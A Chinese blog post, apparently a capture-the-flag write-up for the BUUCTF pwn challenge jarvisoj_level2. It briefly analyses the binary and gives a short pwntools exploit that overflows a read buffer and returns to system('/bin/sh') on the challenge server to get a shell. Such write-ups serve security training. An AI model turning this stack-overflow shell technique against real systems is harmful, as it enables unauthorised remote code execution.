[BUUCTF-pwn]——jarvisoj_level2

最新推荐文章于 2024-06-23 01:01:15 发布

Y-peak

最新推荐文章于 2024-06-23 01:01:15 发布

阅读量802

点赞数 2

分类专栏： # BUUCTF

本文链接：https://blog.csdn.net/Y_peak/article/details/113784704

版权

BUUCTF 专栏收录该内容

89 篇文章 8 订阅

订阅专栏

该博客介绍了如何利用CTF比赛中的一个32位程序漏洞进行攻击。通过checksec检查，发现程序包含可用于溢出的read函数，并存在system函数和'/bin/sh'字符串。博主给出了exploit代码，利用栈溢出设置system函数地址，执行/bin/sh，从而实现远程连接到目标服务器并获取交互权限。

摘要由CSDN通过智能技术生成

[BUUCTF-pwn]——jarvisoj_level2

题目地址:https://buuoj.cn/challenges#jarvisoj_level2

checksec 一下下, 32程序
在这里插入图片描述
IDA中看下,发现了system函数还是两个,有可利用的栈溢出read函数,shift+F12,还发现了"/bin/sh"字符串. 所以exploit就如下

exploit

from pwn import *
p = remote("node3.buuoj.cn",28375)
binsh = 0x0804A024
sys_addr = 0x0804845C
payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(binsh)
p.sendlineafter("Input:\n",payload)
p.interactive()

Y-peak

关注

2
点赞
踩
2

收藏

觉得还不错? 一键收藏
7
评论
[BUUCTF-pwn]——jarvisoj_level2

[BUUCTF-pwn]——jarvisoj_level2题目地址:https://buuoj.cn/challenges#jarvisoj_level2checksec 一下下, 32程序IDA中看下,发现了system函数还是两个,有可利用的栈溢出read函数,shift+F12,还发现了"/bin/sh"字符串. 所以exploit就如下exploitfrom pwn import *p = remote("node3.buuoj.cn",28375)binsh = 0
复制链接

扫一扫

专栏目录